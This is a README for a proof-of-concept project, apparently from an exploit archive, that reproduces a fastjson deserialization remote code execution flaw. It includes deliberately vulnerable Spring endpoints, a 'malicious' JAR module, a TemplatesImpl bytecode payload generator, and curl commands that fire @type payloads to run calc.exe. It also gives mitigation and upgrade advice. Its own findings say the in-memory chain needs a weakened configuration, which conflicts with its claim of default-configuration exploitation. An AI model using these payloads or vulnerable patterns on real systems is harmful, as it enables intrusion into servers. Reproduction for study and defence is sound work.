## https://sploitus.com/exploit?id=2CB83E1A-1197-54D3-9972-18305E5B10D5
# CVE-2026-16723 Reproduction Project
## Overview
This project reproduces **CVE-2026-16723** β a critical Remote Code Execution (RCE) vulnerability in **fastjson 1.2.68 through 1.2.83**. The vulnerability allows RCE under **default configuration** without requiring AutoType enablement or pre-existing classpath gadgets.
| Property | Value |
|----------|-------|
| **CVE ID** | CVE-2026-16723 |
| **Component** | fastjson |
| **Affected Versions** | 1.2.68 β 1.2.83 |
| **Fixed Versions** | 1.2.84+, 2.0.0+ |
| **Vulnerability Type** | Deserialization / RCE |
| **Severity** | CVSS 3.1: 9.0 (CRITICAL) |
| **Attack Vector** | Network |
| **Complexity** | Low |
| **Privileges Required** | None |
| **User Interaction** | None |
---
## Project Structure
```
fastjson-cve-2026-16723/
βββ pom.xml # Main project (Spring Boot app with vulnerable fastjson)
βββ src/main/java/com/example/cve/
β βββ FastjsonCveApplication.java # Spring Boot entry point
β βββ controller/
β βββ VulnerableController.java # Vulnerable REST endpoints
βββ malicious/ # Separate module: malicious JAR for supply chain simulation
β βββ pom.xml
β βββ src/main/java/exploit/
β βββ MaliciousClass.java # Malicious class with static initializer
β βββ EvilTranslet.java # Malicious translet for TemplatesImpl in-memory mode
β βββ GenTemplatesPayload.java # Generates the TemplatesImpl JSON payload
βββ templates-payload.json # Generated TemplatesImpl payload (direct variant)
βββ templates-payload-preload.json # Generated TemplatesImpl payload (Class preload variant)
βββ target/
β βββ fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
βββ malicious/target/
βββ malicious-jar-1.0.jar
```
---
## Vulnerability Details
### Root Cause
fastjson 1.2.68β1.2.83 contains a bypass in the AutoType protection mechanism. Even with **default configuration** (`autoTypeSupport=false`), attackers can instantiate arbitrary classes via crafted JSON payloads using exploit chains such as:
1. **`java.lang.Class` + `com.sun.rowset.JdbcRowSetImpl`** (JNDI injection)
2. **`java.lang.Runtime`** (direct command execution)
3. **Supply chain attack** via malicious JAR on classpath (`@type`: `exploit.MaliciousClass`)
### Vulnerable Code
**`VulnerableController.java`** β two endpoints demonstrate the issue:
```java
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnerable: JSON.parseObject with default config
// No ParserConfig.getGlobalInstance().setAutoTypeSupport(true) required!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Force deserialization to Object β triggers actual class instantiation
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
```
---
## Building the Project
### Prerequisites
- Java 8+
- Maven 3.6+
### Build Commands
```bash
# Build main application
mvn clean package -DskipTests
# Build malicious JAR (separate module)
cd malicious && mvn clean package && cd ..
```
### Output Artifacts
- `target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar` β Spring Boot fat JAR
- `malicious/target/malicious-jar-1.0.jar` β Malicious JAR with `exploit.MaliciousClass`
---
## Running the Application
```bash
java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
```
Server starts on **`http://localhost:8080`**
> **Runtime requirement:** this project targets **Java 8** and the TemplatesImpl in-memory mode is verified on JDK 8. On JDK 9+ the module system blocks reflective access to `java.xml` internals, so the chain fails with `Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` unless you add the `--add-opens` flags:
>
> ```bash
> java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
> --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
> -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
> ```
### Verify Classpath Includes Malicious JAR
The main `pom.xml` declares the malicious JAR as a dependency, so it's bundled in the fat JAR:
```xml
exploit
malicious-jar
1
```
Verify at runtime:
```bash
curl http://localhost:8080/api/debug
```
---
## Testing the Vulnerability
### Health Check
```bash
curl http://localhost:8080/api/test
```
**Expected:** `CVE-2026-16723 Reproduction Endpoint Ready...`
---
### Supply Chain Attack (Malicious Class on Classpath)
The `malicious` module provides `exploit.MaliciousClass` with a static initializer that executes `calc.exe` on class load.
```bash
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
```
**Result:**
```
>>> MALICIOUS STATIC INITIALIZER EXECUTED >> MaliciousClass constructor called **Note:** This demonstrates a supply chain scenario where a malicious dependency is present on the classpath. The vulnerability allows instantiation of **any** class on the classpath, not just JDK classes.
---
### In-Memory Bytecode Mode (TemplatesImpl, no external server required)
Unlike the supply chain mode (which needs the malicious class on the classpath) and the JNDI mode (which needs an LDAP/RMI server), this mode embeds the malicious bytecode **directly in the payload** and loads it from memory via `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` β nothing extra needs to be deployed.
**Step 1 β generate the payload:**
```bash
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
```
This compiles `exploit.EvilTranslet` (an `AbstractTranslet` subclass whose static initializer runs `calc.exe`), base64-encodes its `.class` bytes, and writes:
- `templates-payload.json` β direct variant (`"@type": "TemplatesImpl"`)
- `templates-payload-preload.json` β `java.lang.Class` preload variant
**Step 2 β fire the payload:**
```bash
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
```
**Result:**
```
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED >> EvilTranslet constructor called **β οΈ Empirical findings (verified against fastjson 1.2.83):** the TemplatesImpl chain is **not** triggerable under pure default configuration:
> - The direct `@type` payload is rejected by the AutoType **denyList** (`autoType is not support`).
> - The `java.lang.Class` preload chain fails on two counts: `java.lang.Class` itself is on the denyList (`autoType is not support. java.lang.Class`), and even preloading `TemplatesImpl` into the internal class mappings does not bypass the denyList β the 1.2.47-era mapping bypass is fixed on 1.2.83.
> - `autoTypeSupport(true)` alone is not enough either: the denyList takes priority over the autoType flag.
> - The chain fires only when the class is whitelisted via `ParserConfig.addAccept(...)` (the acceptList has priority over the denyList) **and** `Feature.SupportNonPublicField` is enabled (TemplatesImpl's `_bytecodes`/`_name`/`_tfactory` are private fields).
> - The `/api/deserialize-autotype` endpoint implements exactly this combination.
> - **Runtime:** the chain is verified on **JDK 8**. On JDK 9+ the module system blocks reflective access to `java.xml` internals, so instance creation fails with `Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` unless the JVM flags in [Running the Application](#running-the-application) are used.
---
| Endpoint | Behavior |
|----------|----------|
| `POST /api/parse` | Parses to `JSONObject` β may not trigger full deserialization for all payloads |
| `POST /api/deserialize` | Parses to `Object` β forces full deserialization and class instantiation (default config) |
| `POST /api/deserialize-nonpublic` | `JSON.parse` + `Feature.SupportNonPublicField` β writes private fields, but denyList still blocks TemplatesImpl |
| `POST /api/deserialize-autotype` | AutoType + `addAccept` + `SupportNonPublicField` β fires the TemplatesImpl in-memory chain |
For the malicious class exploit, **`/api/deserialize`** is required to trigger the static initializer.
---
## Fixed Versions
Upgrade fastjson to a patched version:
```xml
com.alibaba
fastjson
1.2.84
com.alibaba
fastjson2
2.0.0
```
### Mitigation (if upgrade not immediately possible)
```java
// Disable AutoType globally (partial mitigation β exploit chains may still bypass)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// Or use safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
```
---
## References
- [NVD CVE-2026-16723](https://nvd.nist.gov/vuln/detail/CVE-2026-16723)
- [Alibaba fastjson2 Security Advisory](https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83)
- [fastjson GitHub Repository](https://github.com/alibaba/fastjson)
---
## β οΈ Legal Disclaimer
> **This project is for educational and defensive security research purposes only.**
>
> - Do not use against systems you don't own or have explicit written permission to test.
> - The author is not responsible for any misuse, damage, or legal consequences arising from the use of this code.
> - Always follow responsible disclosure practices when discovering vulnerabilities.
> - This reproduction uses a benign payload (`calc.exe`) for demonstration; real exploits can cause severe harm.
---
## License
This project is provided as-is for security research. No warranty expressed or implied.